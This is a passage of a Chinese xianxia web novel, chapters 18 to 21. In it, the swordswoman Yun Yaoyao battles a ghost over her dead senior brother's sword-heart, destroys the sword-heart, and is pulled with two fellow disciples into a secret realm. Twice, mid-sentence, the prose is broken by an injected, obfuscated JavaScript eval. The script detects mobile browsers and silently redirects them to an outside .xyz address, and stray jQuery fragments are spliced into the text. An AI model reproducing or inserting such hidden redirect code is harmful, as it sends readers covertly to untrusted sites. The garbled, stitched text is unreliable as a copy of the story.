闻佩鸣坐在十二层露台,眼中暗光流动。在布阵者手中,整座蔚云城是另一幅模样。 灵气划分成的规则网格内,所有人都不经意踩在阵法暗格上,他们都是待价而沽的商品,有待阵法衡量价值。 完全开启千肆蜃影,闻佩鸣的交易海未结束。 他余光看见匆忙赶来的天枢,蹙眉道:“徐清来呢?” 天枢一楞,冷汗迅速滑下,他意识到自己情急之下做出了错误判断。 “属下办事不利,请少阁主责罚。” 扇子在闻佩鸣掌中转了一圈,扇面掩过街道繁华,再回到他掌心合起时,照渊阁外的灯火俱灭,仅剩阵法流动。 太多的闲人杂事会干扰视线,这样就舒服多了。 闻佩鸣眉眼舒展,他没有看天枢,还在观察着城中局势,忽而,他感受到阵中灵力波动,暗格所显示出的价格暴涨。 他语调中带着不易察觉的愉悦,整个人放松下来,连责怪的话都显得温柔了不少。 闻佩鸣未掩笑意:“没用的东西。” 这话令天枢脊背埋得更深。 闻佩鸣指尖在扶手上敲了敲,瞥了一眼他,吩咐道:“去,在她们碰面之前,把徐清来带 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“剑心呢?”云杳窈厉声逼问。 黑袍不回答她,突然调动鬼气,想要故技重施。 云杳窈没有耐心了,刚才交锋的时候,她已经察觉到剑心的气息,正藏在他心口处。 避开心脏,云杳窈迎着鬼气,凝聚自身灵气入剑,直击黑袍腹部。 问心感知到剑心,有感而鸣。 杀招带来的灵气反噬,直击心脉。 问心的剑灵至今沉睡,这是云杳窈强行让问心为自己所用的代价。 痛,但是爽。 这应该是她挥出的,杀意最盛的一剑,直接贯穿这只恶鬼的身体,将他钉死在墙面上,不得逃脱。 云杳窈握着剑柄,感觉这把剑在他身体里再无寸进可能,于是威胁道:“剑心呢?” 黑袍吃痛,倒吸一口气,鬼气正从伤口源源不断外泄,不多时,他就会消失。 “现在是黑夜,鬼气正盛,你不该对一只恶鬼穷追不舍。” 他说着,声音突然变化,鬼气森然,带着威压袭来。 “勿动。” 离得太近,避无可避。云杳窈直接被他定身在原地。 黑袍痛到混身肌肉痉挛,声音也随之发颤。 “拔剑。” 云杳窈极力克制,然而两人的力量相撞,她未曾防守,终究还是生抗不下去。 手,渐渐拖着问心往回收。 这种抗衡下的迟缓,对黑袍来说不亚于凌迟。 云杳窈还没见过这种路数,她一边再次往问心里注入灵力,想突破束缚,一边咬牙切齿追问道:“剑心的主人呢?是你杀的吗!” 剑拔出的那一刻,黑袍长吐出一口气,腰腹因伤痛不断起伏,血和鬼气一起流出,他声音笑中带颤。 “不然呢。” 他的声音已经恢复到原本的粗砺沙哑。 “他不死,我怎么掏心?” 他期身而上,鬼气迅速和他一起将云杳窈纳入怀中。 阴恻恻的鬼气缠上云杳窈的身体,寒意森然。 黑色衣袍包裹着恶鬼,恶鬼包裹着云杳窈,他道:“你剑术学得很好,可惜太过心急,没人教过你穷寇莫追的道理吗?” 18. 第 18 章 “如果我打听的没错,你与那剑心的主人关系匪浅,他怎么不教教你?” 恶鬼从背后拥住云杳窈,将她困锁在怀。一只手虚抬起,化鬼的利爪随时能刺穿他心脏,另一只手刮过她下巴,指尖仅离咽喉寸余。 “忘了,他是个无能之人,被掏心而死,别说护你,他连自己都搭进去了。” 恶鬼的目光在她脸侧逡巡着,手指摩挲过她脸侧光滑细腻的肌肤,最后停在唇角。 他们紧紧相贴,从皮到血肉,再到骨骼,最后是魂魄。 鬼气丝丝缕缕笼罩她身体每一寸,却很有分寸感的停留在表面,并未深入。偶尔擦过肌肤,引起战栗,他便缓下来,想用掌心温度替她抚平颤抖。然而他身躯冰凉,手是冷的,还需从她身上汲取温暖,根本无法让她停歇。 离得太近,他们急促的喘息声在暗巷中尤其明显。 云杳窈起了一身鸡皮疙瘩,故意和他错开呼吸频率,甚至直接闭口不言。 恶鬼听不见声,捏住她两颊。 冰凉的手贴在她脸上,云杳窈感觉混身恶心,这种恶心催动她突破片刻束缚,一口咬上他的虎口嫌剑不够快,她调动的丝线以迅雷之势刺入他的伤口,不管不顾似的蔓延他全身,以此牵制他的进一步动作。 游荡在世间恶鬼,大多心带执念,鬼身必带怨气。 云杳窈的丝线比鬼气还难缠,两人互相纠缠着,谁也不肯放过谁。 在这种逼仄昏沉中,他的情思愈发肆意滋长,心口处酸胀着,撑得发麻。 对方的手掌想要抽离,却发现自己也不能动弹了,连忙道:“松口。” 他们各自牵制,一时间,谁也奈何不了谁,就这么保持着这种僵持的姿势。 云杳窈松开嘴,声音在他掌中有些闷:“我师兄的尸身何在?” 恶鬼啧了一声,在云杳窈再次狠狠咬下去时连忙回答她:“忘了。” 血腥味还在齿间弥漫,云杳窈几乎要被他气笑。 “忘了?你找死。” 说着,她操纵一根丝线,延伸到他咽喉处,几乎要将他的咽喉绞断。 “你再想不起来,我就它钻进你脑子里,替你找找。” 丝线在恶鬼眼前晃了晃,他呼吸困难,声音都变形了:“他全身上下,只有那颗心有用,我留他尸身作甚?” 红色丝线从他骨肉里钻出,鲜血从他脖间细洞汩汩流出。 鬼气源源不断填补伤口,试图拯救。然而丝线与鬼气互相争斗,最后两人难分高低,再次陷入僵局。 “你也不想被我耗死在这里吧?”云杳窈冷静道,“我数三下,咱们各退一步,你解开音咒,我解开丝线。” 恶鬼同意后,云杳窈倒数。 “三、二、一。” 话音刚落,两人拉开距离,云杳窈的丝线立刻就要去夺他怀中剑心。 然而丝线缠上剑心,却死活拽不动。 云杳窈心急之下,直接封闭听力,问心再次向他刺去:“把剑心给我!” 千钧一发之际,大地震颤,周围的建筑突然变换位置,最后的退路被层层封住,四周的墙体先是向他们不断靠拢,而后地面抬高,城内建筑像是有生命似的,不断变换的地形让他们自顾不暇,险些被卷进墙体。 脚下地面塌陷,恶鬼身受重伤,坠入裂开的深渊。 黑袍中的鬼气翻涌,恶鬼胸中剑心鲜亮的光照进云杳窈的眼睛,那种熟悉的共鸣感再次引她心肝震颤。 云杳窈想都没想,跳入万丈深渊,她此刻眼前只有剑心,指尖刚触摸到恶鬼胸前,便被他卷入怀中,她听见恶鬼的被撞得闷哼一声。 两人坠落在地,恶鬼顿时摔得不成人形。 云杳窈召出五根丝线,将他压在地上,想要掀开他的外袍。 恶鬼不顾丝线的缠缚,生生让丝线穿透手腕,他握住云杳窈的手,阻止她继续。 前胸随心脏起伏不定,他猛抽一口气,问:“就非要不可吗?” 云杳窈没有回答,他继续说:“我真不明白,他有什么值得你念念不忘的。” “能死得悄无声息,说明他本就道行不够,你是修行之人,应该明白,这是天道给他定下的命数。你不是师从无情剑道第一人吗?怎么还能喜欢上你师兄,兔子还不吃……” 他说着,猛然感觉到,有几滴冰凉的雨砸在他脸上。 夜晴风轻,他忽然意识到,身上凶狠压制着他的人,好像哭了。 云杳窈面容清丽纯澈,在一众剑修里,显得亲和有余,威压不足。她长了一副,太过美丽而懵懂的脸,以至于容易教人轻慢了她的剑修身份,无视了她灵魂中的坚韧。 她令人心折手软的相貌,是她向上攀爬,可以随时利用的手段之一。 可美貌,有时也会成为一种负累。 她不愿让恶鬼嘲笑,所以音调不起波澜,甚至带着些残忍的平静。 “你懂什么,我师兄是世界上最好的人,他救我于危难,我替他敛尸身,他死了又如何?我会带着师兄的剑,将你们这些恶鬼斩杀殆尽。” “他虽然死了,但他救过的人没有死尽,我睚眦必报,今日不取你性命,誓不罢休。即便你侥幸逃脱,我追到天涯海角,也要替他报仇。” 恶鬼似乎被她这番言论给震得说不出来话,他怔怔道:“你……你这么喜欢他啊。” 云杳窈道:“你这种被执念蒙蔽双眼,不肯入轮回的恶鬼,又怎能明白我与他之间的情谊。” 第一次见岑无望,云杳窈看到他眼中一闪而过的不忍。 趁着这一丝心软,她喊了他一声:“阿兄。” 负剑独行的少年剑修,从此多了一个无血缘关系的妹妹。 云杳窈也是后来才知道,岑无望那日之所以会救她,是因为他家中有一个从小如珠似宝教养长大的妹妹,她死于家族间的争斗。 她与岑无望的决裂,就是因他醉后,将她误认作家中小妹。 岑无望醉卧青松间,枕明月,揽清风。 见云杳窈过来,单手捧起她的脸,指腹替她抹去睫上白雪,染上薄红的眉眼愈发柔情蜜意。 他将冰花插在她云鬓间,轻声问道:“妹妹,何时还家?为何留我独行?缘何弃我而去?” 每一个问题,都像是一声喟叹,说到最后,笑眼里竟然还沁出点点泪花来。 云杳窈已多年没有再唤过岑无望阿兄,也从未听他叫过自己妹妹。 她那夜气得将冰花扔在雪地里,愤然离去。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14592680|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而云杳窈知道,岑无望没有错。 她不能责怪岑无望对小妹的满心思念爱护,更不能责怪那位可怜早逝的妹妹。 从某种意义上来说,还是这位岑小妹救了她一命。 云杳窈有时会觉得自己太贪心了,父母也好,晏珩也罢,甚至于两世都骤然离世的岑无望,她都渴盼着,从他们中得到一份绝无仅有的偏爱,她热烈期待着,有人能将她作为第一选择。 岑无望是真将她作为师妹疼爱。 他或许至死都没有明白,为什么师妹会突然与他生疏,会忍心将那些问候的信搁置一边。 云杳窈再次向恶鬼,也是向她自己肯定道:“我与他之间的情谊,外人是不会懂的。” 她应该为兄长报仇雪恨。 丝线再度缠缚上来,消解着恶鬼的戾气。 恶鬼沉默良久,突然道:“你修无情剑道,不该心恋红尘,回你的宗门吧。” 云杳窈觉得有点好笑:“你管我?我师尊管不了我,你算是个什么东西。搞清楚,现在是我不放过你。” 恶鬼深吸一口气,道:“你这么想要剑心,就自己留着玩吧。” 他说完,任凭丝线绞杀他体内鬼气,强行突破束缚,以至于鬼气消散过多,难以聚成人形。 黑袍迅速干瘪下去,他仅用鬼气护住魂魄,丢弃剑心遁逃。 云杳窈接住剑心,见他已钻入地下,不知去向。 恶鬼元气大伤,至少十年内,不能再兴风作浪。 云杳窈捧起剑心,立即凭借丝线追寻鬼气而去。将要到城外,她忽然想起,这是她逃遁的好机会。 恶鬼体内有丝线在,虽侥幸逃脱,只要她勤加修炼,早晚能凭借这点微末联系找到他。 云杳窈御剑重回地上。 地势已经平稳下来,为避人耳目,她将黑袍披在身上,沿着街道小巷往城门口去。 城门近在咫尺,只要走出这条巷子,她就能设法越过城墙,另寻广阔天地。 云杳窈揣着剑心疾奔向前,屋檐作挡,月光照不进暗巷,但能照清街道,她能看见前方的光亮愈盛。 就在她即将走出小巷之时,有一人现身于狭窄巷口,身披皎然月光,步调悠闲自在,他单手扶着手肘,另一只手持着扇子抵在下巴上。 闻佩鸣温润和缓,影子在地下拖得很长。 云杳窈回头,发现身后的退路被照渊阁侍从堵上。 闻佩鸣勾起唇角,并不急着凑近:“师姐雅兴,这是要到哪里去?” 云杳窈冷静下来,面容苍白,心脏狂跳,但她仍旧维持着表面平和,故作懵懂。 “刚才我与那恶鬼在城中交手,不想地形突变,这才迷了路。他如今不知去向,我正在追杀他呢。” 闻佩鸣恍然大悟,感叹道:“这样啊……” 他好声好气解释道:“可是师姐,我已开启千肆蜃影阵,携剑心者,不得逃离。你现在追他而去,势必被阵法拦下。” 闻佩鸣的扇子打开,正面是“持权衡无私”,反面是“称轻重不差”。 云杳窈眨了眨杏眼,道:“师弟这是何意?” 闻佩鸣笑眯眯道:“师姐入我蔚云城,自然要入乡随俗,不要紧张,只是想与师姐做个交易。” 19. 第 19 章 云杳窈语气诚朴:“这我就有些听不明白了,闻师弟什么富贵荣华没见过,我哪里有能与你做交易的东西呢。” 千肆蜃影已成,地势再次变换,以照渊阁为中心,恢弘法阵浮空,灵力将云杳窈困于界中,她脚下的地面高高拢起,如置身权衡一侧。 天同斩不破结界,反被法阵吸收了剑气,云杳窈所置身的权衡一侧再次下降。 她稳住脚步,看向御剑悬空的闻佩鸣道:“闻佩鸣,这是你照渊阁的待客之道?” 闻佩鸣轻摇着扇子,乌发纷飞,他胜券在握,踏入权衡的另一侧,两人南北对峙,他面容带笑,却还是不免带着些傲气。 “岑师兄抱憾陨落,我愿继承他的意志,承剑心,斩妖鬼,护云师姐一世无忧。” 他眼中尽是胜券在握,这副张狂模样倒是和岑无望更像了。云杳窈蹙眉,讥笑道:“原来闻师弟想要的真心,是剑心啊。” 自闻珮鸣现身起,云杳窈便知道他此行所为何事。 作为剑修,他想得到剑心没错。作为照渊阁之主,他欲揽下奇才美名也没错。 错就错在,他不该把主意打在她的东西上。 宁为玉碎不为瓦全。 云杳窈眉眼淡漠,声色凉薄:“可惜少阁主大费周章,白布置这么一场。” 结界在她话音落后轰然倒塌,交易失败,千肆蜃影犹在运转,但已经无法根据铜镜的指示锁定剑心位置。 铜镜可照天下事,剑心在铜镜前留痕后,根本不可能被人再度藏匿。 除非,剑心已毁。 闻佩鸣瞳孔骤然紧缩,他不可置信道:“你做了什么!” 红光从她怀中炸开,云杳窈的丝线紧紧收拢着剑心残骸,然而丝线不够细密,临时织就的灵网难以将所有灵气锁住。 如此大的灵气拨动,引得天地共鸣,山摇海动。 狂风吹开云杳窈的黑色兜帽,闻佩鸣为她戴上的装饰纷纷落地。翠羽明珰,剑簪玉环,噼啪摔碎。 这些清脆的碎裂声并没有传进云杳窈的耳朵里。她的丝线汲取太多灵力,涨得她经脉饱胀,酸痛难忍。 脖颈额上皆爆出青筋,未来得及咽下的污血从唇角流出,云杳窈这般爱美,竟也忘记为自己抹去血痕。 心口发热,云杳窈紧紧裹着黑袍,还是觉得快要压制不住那股力量。 “剑心不是岑无望留在这世上的唯一东西,但却是我能找到的,今世仅存的残骸。” “我为他闯山门,违逆师尊,孤身单挑恶鬼,只是因为,因为……” 云杳窈咽下喉头腥甜,怕风撕碎她的余音,怕天下人听不清。 “我要让他死得其所。” 她见到了,剑道至盛的灵辉。 可惜,这千年难遇的景象,只是剑心的残波余晖。 千肆蜃影的所有灵气汇集在一处,挡在离云杳窈最近的闻佩鸣身前,与剑心绽出的灵气相抗衡。 扇面为罡风撕碎,看不出原本的字形。 闻佩鸣眯起眼,道:“师姐自诩小剑君的未亡人,却忍心毁掉他的剑心,你到底……” 岑无望那么骄傲的一个人,若是知道死后剑心还要为他人所用,恐怕会气得在地府打转。 云杳窈想到这副场面,忍不住笑了。 她没有听清楚闻佩鸣的话,她痴迷般看着剑心在手中逐渐消散灰败的痕迹,眼睛发红,布满血丝。 “我就是要亲手抹杀他,我问心无愧,师兄他……”她眼中笑意愈浓,“他会明白我的心意。” 折辱他,不如毁去他。 或者,还有一项更好的选择,那就是以其他形式,与她融为一体。 丝线贪婪地吸收着剑心的灵气,云杳窈甚至感觉有些失控。 这些丝线已经完全听不了指挥,毫不顾忌她身体的极限,在空中随扩散的灵气张狂舞动,好像幼时她随岑无望途径大泽湖畔,渔民在夕阳下洒向大泽湖心的渔网。 就在她意识逐渐消散时,忽然听见天际传来一声呼喊:“师妹!” 接着,便是两道剑意相撞。 徐清来刺破结界,直面罡风。 剑心灵力融于风中,将她的衣衫割破,脸上的细碎伤口渗出缕缕血丝。徐清来仍持剑掐诀,要撕开一道口子,将云杳窈从漩涡中拽出。 云杳窈挺着最后一丝意识。 机缘难测算,剑心是她毁去,也是她执意冒险吸纳灵气。就算全身经脉爆裂而亡,只要是她做出的选择,她就甘愿认输,生死交归天命。 “不要过来。”云杳窈挣扎,看着她双眼中的执着,突然心生悔惧。 她害怕这种为她生发而出的无畏和赤诚。 云杳窈相后跌去,放任自己从高空坠落。 有两个模糊身影从她眼前闪过,其中一人毫不犹豫,将她揽在怀中。 徐清与身上的墨香替代了血腥气,云杳窈已经看不见她衣襟上的暗纹,含着喉间最后一口血气,在须臾间召出更多丝线,将即将坠落的两人团团裹住。 剑心与丝线相互搏杀,两人的五脏六腑都要震碎。 即将砸向地面的前夕,徐清来调转位置,将云杳窈护在身前。 浮动的尘埃定格空中,四周的断壁颓垣停滞在倒塌的中途,乌云不再飘荡,法阵都停止运转。 甚至是紧随在后,满脸惊惶的闻佩鸣,他的手即将拉住两人,挽回她们的跌落。 然而一切都来不及了。 时空凝滞的瞬间,惟有剑心还发挥着残热。云杳窈听见自己的呼吸以及灵力在经络里快速流动的声音,以她为核心,周围一切的事物都在停滞后迅速扭曲。 星回物转,三人被同时拉入剑心损毁后撕裂出的秘境裂隙中。 一切感官都被光吞没,云杳窈在昏沉意识中,看到光怪陆离的模糊景象。 天与水相接,映照出晴云万里。在一片蓝白相交,分不清边缘界限的画面中,惟见天心有小舟一芥,人影两点。 待画面渐移渐近,忽而天地倒悬。 原是云杳窈迷离惝恍,当局者迷,误将天与地两相错位置换。 她才是那个不识景中真意的人。< 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应该是他双臂勒得太紧,云杳窈听见女子闷哼,而后,她轻轻拍着他的背,安抚他:“好好的,怎么还哭起来了。” “百年不过须臾瞬间,千年轮回……”她顿了顿,接着开玩笑,“你就当是梦一场,等你睡醒,我一定回来。” 云杳窈听完这句话,已经离得很近,她听见女子的叹息,甚至,看到她一只半阖着的眼睛。 有一滴泪,从她眼角滑落。 泪眼相对,云杳窈抬手,发现自己竟跟着流泪。 一时无言,天地忍不了这窒息静默,落雨纷纷,为舟中的生离死别而哀恸。 温热的雨无法打湿仙人羽衣。舟中人仍在相拥,世间的万物无法介入他们中去,暴雨亦然。 疾雨落在云杳窈的脸上,她抬手摸过,却摸到一手甜腥滑腻。 有人抱着她,在她耳边喋喋不休。 “我带你回乾阳宗,不要睡着啊杳窈。” “你不是要带岑师弟回去吗?他的残骸已经拿到了,我带你们回去。” “醒醒。”徐清来的血再次滴在云杳窈身上。 “这世界上,不是只有岑无望,不是只有情爱。你还有我,我也可以像岑无望一样,成为你的依靠。” “我先前是骗你的,游记里的千川百岳,我等你和我一起去看,不要死,不要死,不要死……” 徐清来天性淡漠,平生两度体会到撕心裂肺的痛苦。 第一次是在双亲离世,她从此失去了依仗的靠山。那年徐清来拿起剑,听从族中长辈安排,独自踏上了去乾阳宗的路。 第二次,源自于她敞开心扉后的第一个朋友,如今在未知秘境中奄奄一息,生死难料。 不远处,闻佩鸣不敌恶鬼,在接连的围攻中不察身侧袭击,为恶鬼所伤。他摔倒在地,却惦记着不远处的两位同门,甩出天同,狠狠将恶鬼贯穿。 还没来得及召回天同,身前恶鬼抓住纰漏,显出利爪直击他面门。 20. 第 20 章 生死攸关之际,有一道剑影闪过,比天同更快,比鬼爪更锐利。 锋芒刺穿闻佩鸣身前的恶鬼,在鬼气消散前,化作六道剑影,在同一时刻将林中恶鬼绞杀。 闻佩鸣反应迅速,在接过天同的一瞬间,起身反攻,十二道剑光齐发,组成剑阵,攻守易势,林中剑风飒飒,万千飞叶被裹挟着,向厉鬼刮去。 素袍银剑,衣袂纷飞,杀气、剑气、鬼气,在月光与树影间游荡。 有一片落叶挡在闻佩鸣眼前,他迅速用剑意斩断,这片叶子恰巧从中心叶脉劈开,自墨绿暗影中,显露出一双坚韧的眼。 闻佩鸣看见云杳窈白衣染血,手掐剑诀,目光凛然,月华便在人间有了实质。 在这场惊心动魄的厮杀反击中,闻佩鸣的心中砰然而动,如雷心跳久久不歇。 有恶鬼不顾她手中剑,将鬼气聚集在手上,化出森然骨爪,紧紧抓扣着剑身,想要在须臾间吞噬云杳窈。 闻佩鸣喊道:“小心!” 坐在地上的徐清来已经耗尽灵气,断雁剑从她掌心飞去,剑身直直穿过恶鬼头颅。 云杳窈的丝线趁机穿透鬼心,同时将手腕一扭,配合灵气金光,将鬼爪削掉。她抬头,两条如长羽般的眉毛压着那双灵动杏眼,血气和鬼气将她身上的嫣然柔态掩去,锋芒尽现。 她闻声仰头,仅需一眼,两人迅速调换位置,互相配合,后背相靠,向剩余的恶鬼斩去。 月迁云移,树林覆满荫翳。 云杳窈抽空抹去脸上血痕,丝线从她手腕缓缓蔓延,融合了剑意,悄悄将那些想要重新聚拢的鬼气靠近。 风生林动,云杳窈耳边全是厉鬼哭叫,她浑身的经脉骨骼在灵气的灌输下断裂又长出,以往淤塞的节点全部被暴力打通。 经由此遭,云杳窈能明显感受出,自己对丝线的掌握更加纯熟。 线随心动,她源源不断吸收着鬼气,本就酸软的手腕更加胀痛,她面色不改,在绞杀最后一缕林中鬼气后,才终于克制不住喉头的腥甜,手持天同,半跪在地上,呕出一大口血。 吐出淤血后,她感觉混身松快了许多,然而在徐清来和闻佩鸣眼中,她内伤严重还强行催动灵力,恐怕反噬过后才是真正的凶险。 两人同时喊:“杳窈。” 受伤较轻的闻佩鸣上前,想要扶起云杳窈。却被眼冒金星,一时缓不过来劲的云杳窈抬手推开,催他:“你去看看徐师姐,她情况比我严重。” 云杳窈自顾自扶着问心支撑起身体,闻佩鸣的双手一直在旁虚拢着,知道她再次催促:“快去啊。” 闻佩鸣这才抬脚往徐清来方向挪动。 云杳窈深吸几口气,回想起在徐清来房中看到的《散修自救一百式》,将几处受伤严重的经络封住。 这本书也不知道是哪位医修奇才写的,让徐清来这个书痴误打误撞搜集来,上面不教原理,只干脆简单的些简单易懂的操作教程,即便不是医修,也能轻易看懂。 别说,这上面教的东西,竟然还真的有点用处。 云杳窈知道挺不了多久,她看向东南方向,恶鬼从密林寻过来,一直留在这里不是个办法,他们必须找到出口。 秘境虽然陌生,但云杳窈并不打算坐以待毙。路是活人走出来的,留在这里肯定还会有第二场厮杀。 云杳窈留了几根丝线,往各个方向探去。 东南方向鬼气最稀薄,且方才围剿他们的恶鬼,都会有意无意挡住东南林道。 剩余的灵力和鬼气混杂在体内,互相冲撞,云杳窈不知道自己还能坚持多久,指挥闻佩鸣道:“你背上师姐,咱们往东南方向转转。” “东南能走?”闻佩鸣看了看黝黑的小路,向她们提议,“不如等我先去探探路,如果这个方向安全,我再回来接你们。” 云杳窈摇头:“这个秘境我们都不熟悉,贸然分开后,若是一方遇险,很难及时援救,我们现在都受了伤,不能再冒险了。” 徐清来沉默许久,突然提议:“不如你们两个先去,我留在这里,若是找到出口,你们再回来接我。” 出乎意料,还不等云杳窈拒绝,闻佩鸣先蹲下身,叹了口气:“师姐别想把我置于险境。” 他回头看向徐清来,道:“你还没看出来吗?假设我敢附和半个字,云师姐恐怕真的要恨死我了。” 闻佩鸣眼下有一道细小的伤口,是刚才被叶片划伤的,血痂已经凝固了。若是忽略他的狼狈,看起来就像是有人为他工笔添了新妆。 “徐师姐行行好,让我背你出去吧。” 闻佩鸣压低声音。 “你也不想让云师姐亲自背你吧。” 徐清来思索片刻,最终还是在云杳窈帮助下,咬牙挣扎着爬上闻佩鸣的背。 有丝线探知前方情况,云杳窈主动在前方开路。 她的金光剑意一直燃着,逼退黑暗,将他们的影子甩在身后。 三人在林中摸索着走了几个时辰,直至丝线探到空处,云杳窈重新打起精神,加快脚步,道:“快到了。” 蓊郁繁茂的密林逐渐投下了一些光斑,从暗到明。 云杳窈第一个走出林子,看到一片寂静无波的湖面。远处天边罩上很薄的一层红。很快,这微不可见的红便随着日出迅速扩散至湖面。 等他们走到湖边时,碧蓝湖面如烟火坠落其间。 湖心有一条细长小舟。 舟上的人影在漫天日光的映照下更显热烈。 云杳窈神思一晃,梦境中寂寥的白与此刻孤煞红影重叠,她刚要张口,突然发觉,湖中倒影只有那条小舟。 舟中无人,惟一鬼影立于其上,恍若梦中仙。 看清他身影的那一刻,云杳窈未打招呼,足尖点过湖面,水波随她脚步荡漾开来,白色身影在湖面以不可挡之势向恶鬼斩去。 剑身照过他的脸,映出一团鬼气。 云杳窈站在船头,他被问心逼退至船尾。 小舟摇摇晃晃,他始终脊背挺直。没了黑袍的遮挡,他却还用鬼气遮掩着面貌,云杳窈冷笑一声,自觉有能力与之一战,故意激他:“是面目可憎,所以才不肯露出真面目吧。” 恶鬼的声音虚无缥缈,晃悠着传进她耳中。 “本尊恐相貌摄人心魂,别人只传美名,不传我恶名,所以才故意遮挡。” 云杳窈道:“你是何方来历,如此猖狂,几次伤我乾阳宗弟子,我今日定不饶你。” 恶鬼思索一阵,道:“嗯……世人鲜有问我名者,近来倒是有人给我起了个名字,叫憎愔。” 虽然看不清五官,但不知为何,云杳窈觉得他此刻脸上一定是带着笑的。 “你想知道为什么吗?”憎愔说着,忽而凭空取出一把琴。 他盘腿坐下,舟随人晃,露出的双手缠着鬼气,随他动作,偶尔可看见匀称修长的骨肉。 云杳窈知道这鬼会以声扰乱心神,甚至能控制人身。 她余光看到岸边的徐清来和闻佩鸣,没有一丝犹豫,问心直接向琴斩去。 憎愔道:“你太没有耐心了。” 他拨动琴弦,根本没有弹奏,只一个音调,便掀起惊涛骇浪,令所有人动弹不得。 林中鸟雀惊鸣,飞向天际。 这些嘈杂叫声与湖中荡起的水墙应和,憎愔坐直身体,打算抚琴一曲。 然而低头看向琴弦的那一刻,一道光刺入他视线中,剑尖擦过他脖子,他险险躲过。他的琴就没那么幸运,直接被调转势头的问心劈成两半。 他直接换回本音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14592682|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单字诀瞬时出口:“停。” 仅一字,尾调悠长,比琴音余韵还要宛转悠扬。 云杳窈再次被短暂定身。 然而她此刻灵力比在蔚云城强盛太多,毫无防备与她对抗,憎愔被力量反噬,心口发痛。他称赞道:“进步神速,如此甚好,若再遇上,我便不愁没有对手了。” 他将琴丢弃,甩袖站立起来,弯腰看着云杳窈带着狠劲儿的双眸,她琥珀鎏金般的眼瞳中全是恨。 鬼善察知人心幽暗,感受出云杳窈心中仇恨,憎愔非常满意。 憎愔的力量尚未恢复,不能像在暗巷中任意控制云杳窈。 云杳窈无声放出丝线,然而憎愔将这些张牙舞爪的丝线缠在腕间,放任他们攀附在自己身上:“还想故技重施呢?” 她心下惊讶,先恢复了声音,一边调转全身灵力,一边说:“要杀要剐,悉听尊便。” 云杳窈悄悄指挥丝线控制对方,然而憎愔体内空洞,鬼气很巧妙地在不断避让着丝线的入侵。 他们无声角逐着,憎愔感受到岸边的人有所松动,瞥了一眼即将突破音咒封印的闻佩鸣,接着和云杳窈说:“我不杀你,是因为你还欠着我。” “我白送你一颗心,现在成了空壳一具。你若还有点良心,就把自己的补给我。” 说着,憎愔俯身,鬼面不断靠近云杳窈。 丝线随主人心意,不断来回捅着憎愔,然而正如他所说,他现在没有实体,他这鬼很奇怪,离了剑心,身上不剩多少怨气和恶意,所以云杳窈很难再找到空子控制他。 憎愔的下半张脸逐渐清晰,从鬼气中隐约现出,云杳窈能看见他唇微张着靠近,就好像要吸人魂魄似的。 云杳窈意识到这一点,顿觉眼前画面触目惊心,恶狠狠从齿缝中挤出两个字:“滚开!” 这一声混杂了灵力,将憎愔脸上的鬼气都震散了不少。 差一点就能看清他的真面目,云杳窈瞪大了双眼,眨也不眨的等待着鬼气全数散尽。 然而憎愔扑哧一声笑了出来,重新拢好面容,道:“开玩笑而已,今天先不吃你。” 云杳窈憋着一口气,即将冲破束缚。 憎愔感受到她蠢蠢欲动的杀意,不敢再逗她,道:“告辞。” 说完,鬼影跳入湖中,顿时消失不见。 云杳窈冲破音咒,扑到船边,遍寻不到憎愔身影。 在憎愔消散于湖水中的前夕,闻佩鸣与徐清与的音咒一同解开。 云杳窈不再留恋于舟上,她回到岸边,确认两人安然无恙。徐清来见她面色不太好看,有些苍白,问:“这恶鬼认识你?他有没有伤到你哪里?” 闻佩鸣说:“是蔚云城携剑心前来交易的恶鬼。” 他想起什么似的,赶紧接着说:“此鬼极为狡猾,先是杀岑师兄夺剑心,又多次从师姐剑下逃脱,若是留他继续修炼,恐为祸人间,我回去就让天枢下通缉令。” 徐清与也说:“我也会和师尊禀报此事,门中很快就会挂起悬赏,必定让他灰飞烟灭。” “不过……”她说,“这鬼究竟是何来历?如此强悍,我为什么从前没听说过。” 云杳窈道:“他叫憎愔,我与他交手,感觉他不像是人死后魂魄所化。” “有名字就好办。”徐清与说,“待回去后,我在宗务堂的卷宗里找找,看有没有他的记录。” 闻佩鸣说:“先出去再说吧。” 先是支撑起千肆蜃影,而后又苦战一夜,他灵气几近枯竭,难免带些丧气。 “不过,这秘境的出口到底在哪?” 三人互相看了看,不约而同道:“憎愔。” 他们的目光望向湖心。 没有载客,小舟在天光与粼粼湖光中格外平静。 21. 第 21 章 三人御剑飞至舟上,水天一色,湖映人影,他们的身形在水中随波晃荡。 云杳窈探出丝线,却一直探不到底。 闻佩鸣也召出天同,向湖底寻找秘境出口。 然而他们都一无所获。 难不成是猜错了?其实憎愔根本不是从这里逃离,离开的方法另有。 闻佩鸣说:“这个秘境的核心应该就在这里,但这里……” 既无先天法宝又无珍惜灵草,除了些低阶的灵鸟小兽,就是杀也杀不尽的恶鬼,此地连灵气都稀薄到可怜。 云杳窈回忆梦中场景,那时的湖中灵气浩荡,无风浪侵扰,更无恶鬼出没,除却那两人身上化不开的静默哀愁,整个景象堪称世外桃源。 现在,梦境的主人已经不在此处,没了仙人镇守,此处灵气逐渐走向枯竭,以至于被恶鬼侵入,也很正常。 梦的开始,云杳窈的视角是水天倒置。这里是仙境残像,那么到底梦境是真,还是现实为真。 